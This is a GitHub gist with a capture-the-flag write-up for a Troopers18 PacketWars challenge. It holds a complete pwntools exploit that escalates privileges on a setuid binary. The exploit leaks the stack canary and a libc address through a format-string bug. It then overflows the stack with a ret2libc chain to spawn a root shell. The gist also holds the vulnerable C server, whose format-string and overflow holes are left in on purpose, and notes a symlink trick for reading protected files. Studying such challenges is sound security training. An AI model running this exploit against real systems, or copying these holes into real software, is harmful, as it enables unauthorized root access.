Created
March 16, 2018 22:10
-
-
Save flabbergastedbd/6d66cfca96389bd9d36244a81c43ff3b to your computer and use it in GitHub Desktop.
Troopers18 Packetwars Part 2 - Exploiatation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On a linux box, inside the home of a privileged user were some files. | |
# | |
# - run_exploit_server (had setuid bit set, executable by all and was compiled with PIC flag). | |
# - run_exploit_server.c | |
# - shellcode.bin with permissions (644). | |
# | |
# The task was to escalate privileges somehow using these three things | |
# | |
# * The server reads from a relative file i.e ./shellcode.bin and echos it to | |
# the clients connecting to it. | |
# * Our team used symlinks to read out files partially by launching the server from | |
# a different directory and symlinking shellcode.bin to the file we wish to read. | |
# | |
# The following exploit was built after the challenge finished. | |
# * --DEBUG flag enables argv[1] & argv[2] to end up in fprintf. | |
# * Stack canary and a libc offset on the stack can be leaked. | |
# * Linux FIFO is greatly useful here to create the content of shellcode.bin | |
# on the fly based on the leaks. | |
# * Stack buffer overflow when reading from shellcode.bin can be exploited to | |
# overwrite rip with ret2libc, thanks to leaked offset. | |
# | |
# Final stack layout | |
# - canary | |
# - rbp | |
# - rop gadget (pop rdi; ret) | |
# - /bin/sh ptr | |
# - system | |
# | |
# How to run?? | |
# - Create a (mk)fifo named shellcode.bin in working directory. | |
# - Copy the libc of the system being run into working directory as libc.so | |
# - python <filename>.py | |
import os | |
import time | |
from pwn import * | |
context(arch="amd64", os="linux", bits=64, endian="little") | |
PATH = "./shellcode.bin" | |
libc = ELF("./libc.so") | |
rop = ROP(libc) | |
LIBC_START_MAIN = libc.symbols["__libc_start_main"] | |
LIBC_SYSTEM = libc.symbols["system"] | |
LIBC_SYSTEM_OFFSET = LIBC_SYSTEM - LIBC_START_MAIN - 234 | |
LIBC_SH_OFFSET = LIBC_SYSTEM - list(libc.search("/bin/sh"))[0] | |
LIBC_ROP_OFFSET = LIBC_SYSTEM - rop.find_gadget(["pop rdi", "ret"])[0] | |
def string_to_arg(s): | |
return(hex(u64(s))) | |
p = process("./run_exploit_server " + string_to_arg("\n%52$llu") + " " + string_to_arg("\n%54$llu") + " --DEBUG", shell=True, stderr=subprocess.PIPE) | |
fd = os.open(PATH, os.O_RDWR | os.O_NONBLOCK) | |
p.proc.stderr.readline() # garbage | |
canary_leak = int(p.proc.stderr.readline().strip()) | |
libc_leak = int(p.proc.stderr.read(15)) | |
system = libc_leak + LIBC_SYSTEM_OFFSET | |
rop_gadget = system - LIBC_ROP_OFFSET | |
sh_address = system - LIBC_SH_OFFSET | |
print("Canary leak: " + hex(canary_leak)) | |
print("libc leak: " + hex(libc_leak)) | |
print("libc system: " + hex(system)) | |
padding = "B"*(8*12 + 4) | |
padding += p64(canary_leak) | |
padding += "C"*8 | |
padding += p64(rop_gadget) | |
padding += p64(sh_address) | |
padding += p64(system) | |
padding += "E"*(300-len(padding)) | |
os.write(fd, padding) | |
time.sleep(3) | |
r = remote("127.0.0.1", 21) | |
r.recv(300) | |
p.clean() | |
p.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<stdlib.h> | |
#include<string.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netdb.h> | |
#define PADDING_LEN 96 | |
#define NOP_SLED_LEN 100 | |
int main(int argc, char** argv) { | |
char buf[300]; | |
int debug = 0; | |
long ret_adr; | |
FILE* f; | |
int listen_fd, comm_fd; | |
struct sockaddr_in servaddr; | |
if(argc < 3) { | |
fprintf(stderr, "Usage: ./run_exploit_server <saved_rbp (hex)> <return address (hex)>\n"); | |
exit(-1); | |
} | |
if(argc > 3 && strcmp(argv[3], "--DEBUG") == 0){ | |
debug = 1; | |
} | |
// Fill buffer up to the saved RIP | |
memset(buf, 'A', PADDING_LEN); | |
// copy saved rbp address from argv[1]: | |
ret_adr = strtol(argv[1], NULL, 0); | |
*((long*)(buf+PADDING_LEN)) = ret_adr; | |
// copy return address from argv[2]: | |
ret_adr = strtol(argv[2], NULL, 0); | |
*((long*)(buf+PADDING_LEN+8)) = ret_adr; | |
// NOP SLED | |
memset(buf+PADDING_LEN+16, 0x90, NOP_SLED_LEN); | |
if(debug) { | |
fprintf(stderr, "Buffer: "); | |
fprintf(stderr, buf); | |
} | |
f = fopen("shellcode.bin", "rb"); | |
if (f) { | |
fread(buf+PADDING_LEN+16+NOP_SLED_LEN, sizeof(buf), 1, f); | |
} | |
else { | |
fprintf(stderr, "Error when opening from shellcode.bin"); | |
exit(-1); | |
} | |
// Run fake ftp server (listen on port 21 and send buffer on each incomming connection | |
listen_fd = socket(AF_INET, SOCK_STREAM, 0); | |
bzero( &servaddr, sizeof(servaddr)); | |
servaddr.sin_family = AF_INET; | |
servaddr.sin_addr.s_addr = htons(INADDR_ANY); | |
servaddr.sin_port = htons(21); | |
bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); | |
listen(listen_fd, 1); | |
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL); | |
write(comm_fd, buf, sizeof(buf)); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment